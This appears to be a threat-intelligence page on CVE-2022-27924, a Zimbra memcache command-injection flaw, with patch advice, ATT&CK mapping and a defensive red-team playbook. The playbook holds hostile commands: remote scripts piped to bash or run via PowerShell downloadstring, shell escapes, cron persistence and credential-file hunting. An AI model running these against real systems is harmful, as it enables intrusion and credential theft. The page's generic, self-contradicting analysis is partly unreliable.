CVE-2022-27924

HIGH CISA KEV Pub 20/04 Upd 21/10

Overview

This vulnerability is a memcached command injection affecting Zimbra Collaboration Suite versions 8.8.15 and 9.0. The root cause is improper sanitization of memcache commands injected by unauthenticated attackers, which are processed without escaping. This flaw resides in the memcache interface handling cached entries, allowing manipulation of cache data.

Vulnerability Description

Zimbra Collaboration (aka ZCS) 8.8.15 and 9.0 allows an unauthenticated attacker to inject arbitrary memcache commands into a targeted instance. These memcache commands becomes unescaped, causing an overwrite of arbitrary cached entries.

Impact

An attacker can exploit this vulnerability without authentication or user interaction to overwrite arbitrary cached data, including sensitive credentials stored in cleartext. This enables credential theft, which can facilitate subsequent spear phishing, social engineering, business email compromise, or persistent access through webshells. The compromised cache integrity undermines system trust and can lead to broader network infiltration and data breaches.

Solution

Zimbra has released security advisories recommending upgrading affected installations to fixed versions beyond 8.8.15 and 9.0. Detailed patch instructions and updates are available at the Zimbra Security Advisories portal (https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories). Administrators should apply the latest patches as outlined in the official Zimbra Releases 9.0.0/P24 documentation to remediate this vulnerability.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Zimbra Collaboration Suite versions 8.8.15 and 9.0 allows unauthenticated attackers to inject arbitrary memcache commands into the system. This flaw arises from improper handling of user input, which leads to the commands being unescaped and subsequently executed. Memcached is a distributed memory caching system that enhances the performance of web applications by reducing database load. However, this vulnerability exposes the caching layer to manipulation, enabling attackers to overwrite arbitrary cached entries. The potential for command injection in this context is particularly concerning, as it can lead to a wide range of malicious activities, including data corruption, unauthorized access, and denial of service.

Exploitation of this vulnerability can occur through various attack vectors, primarily targeting exposed memcached instances. Attackers can leverage network access to the Zimbra server, sending crafted requests that exploit the command injection flaw. Once an attacker successfully injects commands, they can manipulate cached data, potentially altering user sessions, modifying application behavior, or even executing further attacks against the underlying database. The risk is exacerbated in scenarios where organizations rely heavily on caching for performance, as the impact of manipulated cache entries can ripple through the entire application, leading to significant disruptions.

The real-world implications of this vulnerability are profound, particularly for organizations that utilize Zimbra for email and collaboration services. An attacker could exploit this flaw to gain unauthorized access to sensitive communications, disrupt business operations, or compromise the integrity of critical data. The business risks associated with such an attack include financial losses, reputational damage, and potential regulatory penalties, especially if sensitive customer data is involved. Furthermore, the ease of exploitation, coupled with the potential for widespread impact, makes this vulnerability a high-priority concern for organizations using the affected versions of Zimbra.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating Zimbra to the latest versions is crucial, as patches are released to address known vulnerabilities. Additionally, network segmentation can help limit access to the memcached layer, ensuring that only authorized services can interact with it. Employing intrusion detection systems (IDS) can also aid in identifying suspicious activity related to memcached commands. Organizations should conduct thorough security assessments and penetration testing to uncover potential weaknesses in their configurations and ensure that proper input validation and sanitization measures are in place.

In conclusion, the vulnerability present in Zimbra Collaboration Suite represents a significant threat to organizations that rely on this platform for communication and collaboration. The ability for unauthenticated attackers to inject arbitrary commands into the memcached layer poses serious risks, including data manipulation and unauthorized access. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can take proactive steps to mitigate these risks and protect their critical assets. Implementing robust detection and mitigation strategies will be essential in safeguarding against exploitation and ensuring the continued integrity of business operations.




CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2022-27924, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition underscores the vulnerability’s operational relevance, particularly given its association with ransomware campaigns targeting Zimbra Collaboration Suite deployments. The emergence of a high EPSS score further signals an increased likelihood of exploitation attempts in the wild, despite a slight recent decline in short-term trend metrics. The elevation of the CVSS score to 7.5 reflects a reassessment of the vulnerability’s impact and exploitability, emphasizing the critical risk posed by unauthenticated memcache command injection. Collectively, these developments indicate a heightened threat posture that demands increased vigilance from defenders, as exploitation attempts may become more frequent and sophisticated. While no new exploit variants have surfaced, the convergence of telemetry trends and authoritative cataloging suggests that adversaries are actively leveraging this weakness, thereby elevating the overall threat level from moderate to high.

Affected Products (56)

Vendor Product Version CPE
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:-:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p1:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p10:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p11:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p12:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p13:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p14:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p15:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p16:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p17:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p18:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p19:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p2:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p20:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p21:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p22:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p23:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p24:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p25:*:*:*:*:*:*
synacor Synacor Zimbra Collaboration Suite 8.8.15 cpe:2.3:a:synacor:zimbra_collaboration_suite:8.8.15:p26:*:*:*:*:*:*
+36 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

3 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2022-08-04
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
95% command_injection
Remote Code Execution
49% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.003 Cron Kill Chain execution, persistence, privilege-escalation Linux, macOS, ESXi
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-101 Server Side Include (SSI) Injection
52%
High High
CAPEC-9 Buffer Overflow in Local Command-Line Utilities
49%
High High
CAPEC-6 Argument Injection
48%
High High
CAPEC-135 Format String Injection
48%
High High
CAPEC-14 Client-side Injection-induced Buffer Overflow
45%
Medium High

Red Team Playbook

47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1053.003 Cron - Add script to /etc/cron.d folder Linux Shell Privileged
This test adds a script to /etc/cron.d folder configured to execute on a schedule.
Command (Shell)
echo "#{command}" > /etc/cron.d/#{cron_script_name}
T1053.003 Cron - Add script to /var/spool/cron/crontabs/ folder Linux Bash Privileged
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
T1053.003 Cron - Add script to all cron subfolders Linux, macOS Bash Privileged
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
T1053.003 Cron - Replace crontab with referenced file Linux, macOS Shell
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
Command (Shell)
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (5)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2022-27924
wiki.zimbra.com
GitHub CVE x_refsource_MISC
https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
wiki.zimbra.com
GitHub CVE x_refsource_MISC
https://wiki.zimbra.com/wiki/Security_Center
wiki.zimbra.com
GitHub CVE x_refsource_MISC
https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-27924